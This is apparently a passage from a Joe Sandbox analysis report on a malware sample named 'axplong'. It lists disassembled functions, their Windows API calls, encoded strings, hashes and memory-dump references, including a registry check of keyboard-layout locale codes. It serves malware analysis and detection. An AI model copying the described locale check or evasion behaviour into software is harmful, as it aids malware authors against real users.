Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: "$5120$Fz==$HBhr$V5Qk$W07l$WJms$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-3767745505
Opcode ID: e31f730c26b2971ec0aa405e49a17ec71057f44f0a4e7f95e29fb4b6429b9d9d
Instruction ID: 087ed5ee0153873bd756f2f24893d141dd0d9b65704c4a0153f404454d74003a
Opcode Fuzzy Hash: e31f730c26b2971ec0aa405e49a17ec71057f44f0a4e7f95e29fb4b6429b9d9d
Instruction Fuzzy Hash: 2A5225B1A20248DBEF18EF78CC4A79DBB75AF45304F50429CE405A72C2D7359B84DBA2

Function 00C25C60 Relevance: 16.2, APIs: 4, Strings: 5, Instructions: 473
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(?,?,00000000,00000001,?), ref: 00C25CDC
RegCloseKey.KERNEL32(?,?,?,00000000,00000001,?), ref: 00C25D16

Strings

0000043f, xrefs: 00C2603B
00000419, xrefs: 00C25FA8
00000423, xrefs: 00C2600A
Keyboard Layout\Preload, xrefs: 00C25F64
00000422, xrefs: 00C25FD9

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 47109696-3963862150
Opcode ID: 269c47d727b5768ddda5b3cecbdc4e4725a083870faa83f38ee6e70b0c71f472
Instruction ID: fd0ff04d0adca4e790df46938a29dfdff96f9e05e85384fe7ce61002de394466
Opcode Fuzzy Hash: 269c47d727b5768ddda5b3cecbdc4e4725a083870faa83f38ee6e70b0c71f472
Instruction Fuzzy Hash: 6F02B271900228ABEB24DF54CC89BDEB779EF04304F5042E9E509A7691DB74ABC5CFA1

Function 00C27D00 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00C27EA3

Strings

JmpxQb==, xrefs: 00C281B2
JmpxRL==, xrefs: 00C28062
JmpyPb==, xrefs: 00C2810A

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JmpxQb==$JmpxRL==$JmpyPb==
API String ID: 1721193555-2057465332
Opcode ID: a774452a94ec166da818ced94e58d91b346068a8394f7944d3280df6cb0fc8f7
Instruction ID: 81911790aea70a58bc3919e1fe33e7d781b816e9271e3d2cdb2d180d3dc2f4bc
Opcode Fuzzy Hash: a774452a94ec166da818ced94e58d91b346068a8394f7944d3280df6cb0fc8f7
Instruction Fuzzy Hash: 38D12970E00664DBDF24BB28EC4A3AD7771AB45324F50429CE415AB7D2DB358F8497D2

Function 00C27560 Relevance: 4.7, APIs: 3, Instructions: 158
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,1A1F2CD4,?,00000000,00C68FB8,000000FF), ref: 00C2759C
CreateThread.KERNEL32(00000000,00000000,00C27400,00C88608,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00C2768E
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00C27699

Part of subcall function 00C3CFF7: RtlWakeAllConditionVariable.NTDLL ref: 00C3D0AB

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: 0431d81f2d5621dbb4fbc249a1c2dde761ac164f423e30b4b02a831f13bc333e
Instruction ID: 0d89c9d91eb55a177cf43abcaf09ef6b4f4e8d41b90bd4812d3efeafb8314a93
Opcode Fuzzy Hash: 0431d81f2d5621dbb4fbc249a1c2dde761ac164f423e30b4b02a831f13bc333e
Instruction Fuzzy Hash: 135127B0214208DBEB14DF28EDC5B8D3BA1EB48704F904229F8119BBD1DB79D9848F99

Function 00C56E01 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000), ref: 00C56E23
GetFileInformationByHandle.KERNEL32(?,?), ref: 00C56E7D
__dosmaperr.LIBCMT ref: 00C56F12

Part of subcall function 00C57177: __dosmaperr.LIBCMT ref: 00C571AC

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: d4802f6b50d684bd83607bf84b4c9922aee3d9958d4a8a6baed0958cc6ebc19e
Instruction ID: fef3d51509343c5b606ccea2bb7894d0d1a51c92e03fe7d7cc8fd138c515a9bb
Opcode Fuzzy Hash: d4802f6b50d684bd83607bf84b4c9922aee3d9958d4a8a6baed0958cc6ebc19e
Instruction Fuzzy Hash: 10416079900304AFDB24DFB5E845AAFB7F9EF88301B50451DF856D3251EB30A988DB24

Function 00C56C99 Relevance: 3.1, APIs: 2, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e5ba1ce27ce486d1cdcd37ab0ad8dbe227a6b794cd70ec3ac7046fa9fcce5bc
Instruction ID: 81592f2b7b89a07f14c3125b055438720f9171e9bb8c2bacb220a7345ff7800b
Opcode Fuzzy Hash: 3e5ba1ce27ce486d1cdcd37ab0ad8dbe227a6b794cd70ec3ac7046fa9fcce5bc
Instruction Fuzzy Hash: A6212876A052087AEB117B64AC42BAF37399F4133AF600710FD343B1D1DB705E89A6A9

Function 00C282B0 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00C28454

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: a886f1702944049afa6e871b3ca0b786a464bc1f0a913f8537e2025503c80a88
Instruction ID: 47c1fae07e53ae93bd1511607b4d4a94a58eb29e607bc457b5df35f998d678e1
Opcode Fuzzy Hash: a886f1702944049afa6e871b3ca0b786a464bc1f0a913f8537e2025503c80a88
Instruction Fuzzy Hash: 6C514970D012289BEB24FB28EC457EEB775DB45314F5042A8E809A76D1EF349E888B95

Function 00C56F71 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00C56FB3

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 134f5b1e82656d721bfe36656746ce33f8b47493f4a805e7a1e543bd3adc92dc
Instruction ID: 5789455f9eca52736e642bc9ebe90b80fad4d75bb354b281fb0d8d1b0d87b6b2
Opcode Fuzzy Hash: 134f5b1e82656d721bfe36656746ce33f8b47493f4a805e7a1e543bd3adc92dc
Instruction Fuzzy Hash: 9111D07690010CABDB10DED5D944EDFB7BC9B08315F505266E911E7180D770EF488B65

Function 00C5AF0B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,1A1F2CD4,?,?,00C3D32C,1A1F2CD4,?,00C378FB,?,?,?,?,?,?,00C27435,?), ref: 00C5AF3D

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b07a4a61f56ee3378b059925ce01a9dfadbdacd5df8ccfcfedf043956abeec0e
Instruction ID: 952eb49cd5420caf4aa3e99fbfaf597cba9f5feb5687313154cd64a60dd21556
Opcode Fuzzy Hash: b07a4a61f56ee3378b059925ce01a9dfadbdacd5df8ccfcfedf043956abeec0e
Instruction Fuzzy Hash: BAE02B7E20A1115BDB2032E76C0175E358C8F413B3F150351AC24A6081CF20DDC856FF

Function 00C36AE0 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00C36B65

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: ec96bdf9b012aceb955d2efeab912cca6d7655daec8441a0c86b3fb87eee7ab7
Instruction ID: 1a3ed5ec09eb94a2187a51ef15ae1f7d4f959e1d1b416107c2ef8cee2f62f706
Opcode Fuzzy Hash: ec96bdf9b012aceb955d2efeab912cca6d7655daec8441a0c86b3fb87eee7ab7
Instruction Fuzzy Hash: ADF0A471E10618ABC710BB799D0BB1EBB75AB06B64F900358E811672E1DB345A009BD7

Function 04EF0BD5 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3025816737.0000000004EF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ef0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9fa31e998c1ca24222d42d8bb8d99740caecae27257d989a3c1ef1ee81063d2
Instruction ID: fb9ae49d0019ad3a7ac30c26acf661776edd186e3bc34eb39313abdff77e6af2
Opcode Fuzzy Hash: a9fa31e998c1ca24222d42d8bb8d99740caecae27257d989a3c1ef1ee81063d2
Instruction Fuzzy Hash: 491156E728E114BEE14256959F40AFB3B6EE7C33303309462F603CA643F2851A8D7131

Function 04EF0BCC Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3025816737.0000000004EF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ef0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31d09367c8a41ba6e1a48b80e5979221a3671a6d920f08b76ad73b40750b64eb
Instruction ID: d597852dab33c052a5f81ed22aad90ab06070f3f15a001d2f5f58598cc85b8ad
Opcode Fuzzy Hash: 31d09367c8a41ba6e1a48b80e5979221a3671a6d920f08b76ad73b40750b64eb
Instruction Fuzzy Hash: 2B11E5EB28E114BDE04251855F00AFA3A6EE3C33703309462F643DA643F2D91A4A3032

Function 04EF0C42 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3025816737.0000000004EF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ef0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c3a5df10aa232f4e6cca0b3e20aafb3a78c1e68013797fbc74bdad2a8727ced
Instruction ID: ad321343049497bd84db370d27e175700fd960057ce4f0524100a4f75e35ae74
Opcode Fuzzy Hash: 8c3a5df10aa232f4e6cca0b3e20aafb3a78c1e68013797fbc74bdad2a8727ced
Instruction Fuzzy Hash: 391129E714E2D07EE24346805F549F73F6DEAC373033094ABFA42D9443E286194DA232

Function 04EF0C08 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3025816737.0000000004EF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ef0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df55895a31e140ba9855bfb515763e57ebd5a14eb181c1dc601fd23a97edf13e
Instruction ID: d5ce33e0f25fa9ce259483366c584ddcb2c619665d07b9ae21f864575a91304e
Opcode Fuzzy Hash: df55895a31e140ba9855bfb515763e57ebd5a14eb181c1dc601fd23a97edf13e
Instruction Fuzzy Hash: 9F01C4EB249114BDB15255855F00AFB7A6EE3C3770730D562FA43DA503F2D91A8E7132

Function 04EF0C0D Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3025816737.0000000004EF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ef0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d368eebe6f68036f85cddd2a963726ab8899868e510558dd3cbecd5ae5ac5ae2
Instruction ID: 6e8f06aac04101c70a9a263258f943549e0744ec8650814763bae18b4894c923
Opcode Fuzzy Hash: d368eebe6f68036f85cddd2a963726ab8899868e510558dd3cbecd5ae5ac5ae2
Instruction Fuzzy Hash: C501C4EB249114BDF15256859F04AFB7A6EE3C37303309562FA43D6903F29A1A4A3531

Function 04EF0C01 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3025816737.0000000004EF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ef0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84e95ffedcb10b9f5148371b895db9ec0b119abc71587d96cfd231c7208ce68c
Instruction ID: 80eed5f69ee3bda829d91b5bc7716ebe46ba4c27112c7a85f587dfef704f160f
Opcode Fuzzy Hash: 84e95ffedcb10b9f5148371b895db9ec0b119abc71587d96cfd231c7208ce68c
Instruction Fuzzy Hash: 680180EB28E114BDE15255815F04AFA7A6EE3C37707309462FA43DA943F2991A8A3172

Function 04EF0C28 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3025816737.0000000004EF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

